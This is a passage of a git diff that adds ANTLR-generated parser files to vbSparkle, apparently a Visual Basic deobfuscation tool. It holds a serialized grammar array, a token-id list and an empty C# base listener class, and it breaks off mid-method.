69, 0, 0, 522, 521, 1, 0, 0, 0, 522, 523, 1, 0, 0, 0, 523, 524, 1, 0, 0, 0, 524, 526, 7, 1, 0, 0, 525, 527, 5, 69, 0, 0, 526, 525, 1, 0, 0, 0, 526, 527, 1, 0, 0, 0, 527, 528, 1, 0, 0, 0, 528, 657, 3, 64, 32, 18, 529, 531, 10, 16, 0, 0, 530, 532, 5, 69, 0, 0, 531, 530, 1, 0, 0, 0, 531, 532, 1, 0, 0, 0, 532, 533, 1, 0, 0, 0, 533, 535, 7, 2, 0, 0, 534, 536, 5, 69, 0, 0, 535, 534, 1, 0, 0, 0, 535, 536, 1, 0, 0, 0, 536, 537, 1, 0, 0, 0, 537, 657, 3, 64, 32, 17, 538, 540, 10, 15, 0, 0, 539, 541, 5, 69, 0, 0, 540, 539, 1, 0, 0, 0, 540, 541, 1, 0, 0, 0, 541, 542, 1, 0, 0, 0, 542, 544, 5, 33, 0, 0, 543, 545, 5, 69, 0, 0, 544, 543, 1, 0, 0, 0, 544, 545, 1, 0, 0, 0, 545, 546, 1, 0, 0, 0, 546, 657, 3, 64, 32, 16, 547, 549, 10, 14, 0, 0, 548, 550, 5, 69, 0, 0, 549, 548, 1, 0, 0, 0, 549, 550, 1, 0, 0, 0, 550, 551, 1, 0, 0, 0, 551, 553, 5, 38, 0, 0, 552, 554, 5, 69, 0, 0, 553, 552, 1, 0, 0, 0, 553, 554, 1, 0, 0, 0, 554, 555, 1, 0, 0, 0, 555, 657, 3, 64, 32, 15, 556, 558, 10, 13, 0, 0, 557, 559, 5, 69, 0, 0, 558, 557, 1, 0, 0, 0, 558, 559, 1, 0, 0, 0, 559, 560, 1, 0, 0, 0, 560, 562, 5, 49, 0, 0, 561, 563, 5, 69, 0, 0, 562, 561, 1, 0, 0, 0, 562, 563, 1, 0, 0, 0, 563, 564, 1, 0, 0, 0, 564, 657, 3, 64, 32, 14, 565, 567, 10, 12, 0, 0, 566, 568, 5, 69, 0, 0, 567, 566, 1, 0, 0, 0, 567, 568, 1, 0, 0, 0, 568, 569, 1, 0, 0, 0, 569, 571, 5, 46, 0, 0, 570, 572, 5, 69, 0, 0, 571, 570, 1, 0, 0, 0, 571, 572, 1, 0, 0, 0, 572, 573, 1, 0, 0, 0, 573, 657, 3, 64, 32, 13, 574, 576, 10, 11, 0, 0, 575, 577, 5, 69, 0, 0, 576, 575, 1, 0, 0, 0, 576, 577, 1, 0, 0, 0, 577, 578, 1, 0, 0, 0, 578, 580, 5, 41, 0, 0, 579, 581, 5, 69, 0, 0, 580, 579, 1, 0, 0, 0, 580, 581, 1, 0, 0, 0, 581, 582, 1, 0, 0, 0, 582, 657, 3, 64, 32, 12, 583, 585, 10, 10, 0, 0, 584, 586, 5, 69, 0, 0, 585, 584, 1, 0, 0, 0, 585, 586, 1, 0, 0, 0, 586, 587, 1, 0, 0, 0, 587, 589, 5, 43, 0, 0, 588, 590, 5, 69, 0, 0, 589, 588, 1, 0, 0, 0, 589, 590, 1, 0, 0, 0, 590, 591, 1, 0, 0, 0, 591, 657, 3, 64, 32, 11, 592, 594, 10, 9, 0, 0, 593, 595, 5, 69, 0, 0, 594, 593, 1, 0, 0, 0, 594, 595, 1, 0, 0, 0, 595, 596, 1, 0, 0, 0, 596, 598, 5, 40, 0, 0, 597, 599, 5, 69, 0, 0, 598, 597, 1, 0, 0, 0, 598, 599, 1, 0, 0, 0, 599, 600, 1, 0, 0, 0, 600, 657, 3, 64, 32, 10, 601, 603, 10, 8, 0, 0, 602, 604, 5, 69, 0, 0, 603, 602, 1, 0, 0, 0, 603, 604, 1, 0, 0, 0, 604, 605, 1, 0, 0, 0, 605, 607, 5, 2, 0, 0, 606, 608, 5, 69, 0, 0, 607, 606, 1, 0, 0, 0, 607, 608, 1, 0, 0, 0, 608, 609, 1, 0, 0, 0, 609, 657, 3, 64, 32, 9, 610, 612, 10, 7, 0, 0, 611, 613, 5, 69, 0, 0, 612, 611, 1, 0, 0, 0, 612, 613, 1, 0, 0, 0, 613, 614, 1, 0, 0, 0, 614, 616, 5, 28, 0, 0, 615, 617, 5, 69, 0, 0, 616, 615, 1, 0, 0, 0, 616, 617, 1, 0, 0, 0, 617, 618, 1, 0, 0, 0, 618, 657, 3, 64, 32, 8, 619, 621, 10, 6, 0, 0, 620, 622, 5, 69, 0, 0, 621, 620, 1, 0, 0, 0, 621, 622, 1, 0, 0, 0, 622, 623, 1, 0, 0, 0, 623, 625, 5, 32, 0, 0, 624, 626, 5, 69, 0, 0, 625, 624, 1, 0, 0, 0, 625, 626, 1, 0, 0, 0, 626, 627, 1, 0, 0, 0, 627, 657, 3, 64, 32, 7, 628, 630, 10, 5, 0, 0, 629, 631, 5, 69, 0, 0, 630, 629, 1, 0, 0, 0, 630, 631, 1, 0, 0, 0, 631, 632, 1, 0, 0, 0, 632, 634, 5, 13, 0, 0, 633, 635, 5, 69, 0, 0, 634, 633, 1, 0, 0, 0, 634, 635, 1, 0, 0, 0, 635, 636, 1, 0, 0, 0, 636, 657, 3, 64, 32, 6, 637, 639, 10, 4, 0, 0, 638, 640, 5, 69, 0, 0, 639, 638, 1, 0, 0, 0, 639, 640, 1, 0, 0, 0, 640, 641, 1, 0, 0, 0, 641, 643, 5, 16, 0, 0, 642, 644, 5, 69, 0, 0, 643, 642, 1, 0, 0, 0, 643, 644, 1, 0, 0, 0, 644, 645, 1, 0, 0, 0, 645, 657, 3, 64, 32, 5, 646, 647, 10, 3, 0, 0, 647, 648, 5, 69, 0, 0, 648, 649, 5, 18, 0, 0, 649, 650, 5, 69, 0, 0, 650, 657, 3, 64, 32, 4, 651, 652, 10, 2, 0, 0, 652, 653, 5, 69, 0, 0, 653, 654, 5, 17, 0, 0, 654, 655, 5, 69, 0, 0, 655, 657, 3, 64, 32, 3, 656, 511, 1, 0, 0, 0, 656, 520, 1, 0, 0, 0, 656, 529, 1, 0, 0, 0, 656, 538, 1, 0, 0, 0, 656, 547, 1, 0, 0, 0, 656, 556, 1, 0, 0, 0, 656, 565, 1, 0, 0, 0, 656, 574, 1, 0, 0, 0, 656, 583, 1, 0, 0, 0, 656, 592, 1, 0, 0, 0, 656, 601, 1, 0, 0, 0, 656, 610, 1, 0, 0, 0, 656, 619, 1, 0, 0, 0, 656, 628, 1, 0, 0, 0, 656, 637, 1, 0, 0, 0, 656, 646, 1, 0, 0, 0, 656, 651, 1, 0, 0, 0, 657, 660, 1, 0, 0, 0, 658, 656, 1, 0, 0, 0, 658, 659, 1, 0, 0, 0, 659, 65, 1, 0, 0, 0, 660, 658, 1, 0, 0, 0, 661, 666, 5, 59, 0, 0, 662, 666, 5, 63, 0, 0, 663, 666, 5, 58, 0, 0, 664, 666, 5, 57, 0, 0, 665, 661, 1, 0, 0, 0, 665, 662, 1, 0, 0, 0, 665, 663, 1, 0, 0, 0, 665, 664, 1, 0, 0, 0, 666, 67, 1, 0, 0, 0, 667, 673, 5, 61, 0, 0, 668, 673, 3, 66, 33, 0, 669, 673, 5, 60, 0, 0, 670, 673, 5, 30, 0, 0, 671, 673, 5, 14, 0, 0, 672, 667, 1, 0, 0, 0, 672, 668, 1, 0, 0, 0, 672, 669, 1, 0, 0, 0, 672, 670, 1, 0, 0, 0, 672, 671, 1, 0, 0, 0, 673, 69, 1, 0, 0, 0, 674, 675, 8, 3, 0, 0, 675, 71, 1, 0, 0, 0, 117, 75, 81, 85, 90, 94, 101, 106, 111, 114, 121, 126, 129, 134, 138, 143, 147, 152, 156, 161, 167, 171, 175, 180, 183, 188, 200, 206, 211, 217, 221, 225, 233, 239, 242, 248, 252, 258, 262, 274, 279, 285, 290, 299, 304, 310, 315, 320, 325, 331, 336, 342, 348, 353, 356, 364, 369, 374, 380, 385, 388, 396, 400, 405, 410, 412, 418, 427, 436, 440, 444, 448, 453, 463, 467, 471, 476, 480, 486, 491, 499, 503, 507, 509, 513, 517, 522, 526, 531, 535, 540, 544, 549, 553, 558, 562, 567, 571, 576, 580, 585, 589, 594, 598, 603, 607, 612, 616, 621, 625, 630, 634, 639, 643, 656, 658, 665, 672] \ No newline at end of file diff --git a/Sources/vbSparkle/VBPreprocessors.tokens b/Sources/vbSparkle/VBPreprocessors.tokens new file mode 100644 index 0000000..0a03e29 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessors.tokens @@ -0,0 +1,95 @@ +MACRO_CONST=1 +AND=2 +ATTRIBUTE=3 +BEGIN=4 +BEGINPROPERTY=5 +CLASS=6 +CONST=7 +ELSE=8 +ELSEIF=9 +END_IF=10 +END=11 +ENDPROPERTY=12 +EQV=13 +FALSE=14 +IF=15 +IMP=16 +IS=17 +LIKE=18 +MACRO_IF=19 +MACRO_ELSEIF=20 +MACRO_ELSE=21 +MACRO_END_IF=22 +MOD=23 +NOT=24 +NOTHING=25 +NULL=26 +OBJECT=27 +OR=28 +THEN=29 +TRUE=30 +VERSION=31 +XOR=32 +AMPERSAND=33 +AT=34 +COMMA=35 +DIV=36 +DOT=37 +EQ=38 +EXCLAMATIONMARK=39 +GEQ=40 +GT=41 +HASH=42 +LEQ=43 +LBRACE=44 +LPAREN=45 +LT=46 +MINUS=47 +MULT=48 +NEQ=49 +PLUS=50 +POW=51 +RBRACE=52 +RPAREN=53 +SEMICOLON=54 +L_SQUARE_BRACKET=55 +R_SQUARE_BRACKET=56 +STRINGLITERAL=57 +DATELITERAL=58 +HEXLITERAL=59 +INTEGERLITERAL=60 +DOUBLELITERAL=61 +FILENUMBER=62 +OCTALLITERAL=63 +GUID=64 +NEWLINE=65 +IDENTIFIER=66 +COMMENT=67 +LINE_CONTINUATION=68 +WS=69 +ANYCHAR=70 +REM=71 +LABEL_L=72 +'&'=33 +'@'=34 +','=35 +'.'=37 +'='=38 +'!'=39 +'>='=40 +'>'=41 +'#'=42 +'<='=43 +'{'=44 +'('=45 +'<'=46 +'-'=47 +'*'=48 +'<>'=49 +'+'=50 +'^'=51 +'}'=52 +')'=53 +';'=54 +'['=55 +']'=56 diff --git a/Sources/vbSparkle/VBPreprocessorsBaseListener.cs b/Sources/vbSparkle/VBPreprocessorsBaseListener.cs new file mode 100644 index 0000000..2e3b49c --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsBaseListener.cs @@ -0,0 +1,687 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + + +using Antlr4.Runtime.Misc; +using IErrorNode = Antlr4.Runtime.Tree.IErrorNode; +using ITerminalNode = Antlr4.Runtime.Tree.ITerminalNode; +using IToken = Antlr4.Runtime.IToken; +using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; + +/// +/// This class provides an empty implementation of , +/// which can be extended to create a listener which only needs to handle a subset +/// of the available methods. +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.Diagnostics.DebuggerNonUserCode] +[System.CLSCompliant(false)] +public partial class VBPreprocessorsBaseListener : IVBPreprocessorsListener { + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context) { } + /// + /// Enter a parse tree produced by the vmacroIf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context) { } + /// + /// Exit a parse tree produced by the vmacroIf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context) { } + /// + /// Enter a parse tree produced by the vmacroConst + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context) { } + /// + /// Exit a parse tree produced by the vmacroConst + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context) { } + /// + /// Enter a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context) { } + /// + /// Exit a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context) { } + /// + /// Enter a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context) { } + /// + /// Exit a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context) { } + /// + /// Enter a parse tree produced by the vlineLabel + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context) { } + /// + /// Exit a parse tree produced by the vlineLabel + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context) { } + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context) { } + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context) { } + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context) { } + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context) { } + /// + /// Enter a parse tree produced by the vsConstant + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context) { } + /// + /// Exit a parse tree produced by the vsConstant + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context) { } + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context) { } + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context) { } + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context) { } + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context) { } + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtColor([NotNull] VBPreprocessorsParser.LtColorContext context) { } + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtColor([NotNull] VBPreprocessorsParser.LtColorContext context) { } + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context) { } + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context) { } + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDate([NotNull] VBPreprocessorsParser.LtDateContext context) { } + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDate([NotNull] VBPreprocessorsParser.LtDateContext context) { } + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtString([NotNull] VBPreprocessorsParser.LtStringContext context) { } + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtString([NotNull] VBPreprocessorsParser.LtStringContext context) { } + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context) { } + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context) { } + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context) { } + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context) { } + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context) { } + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual 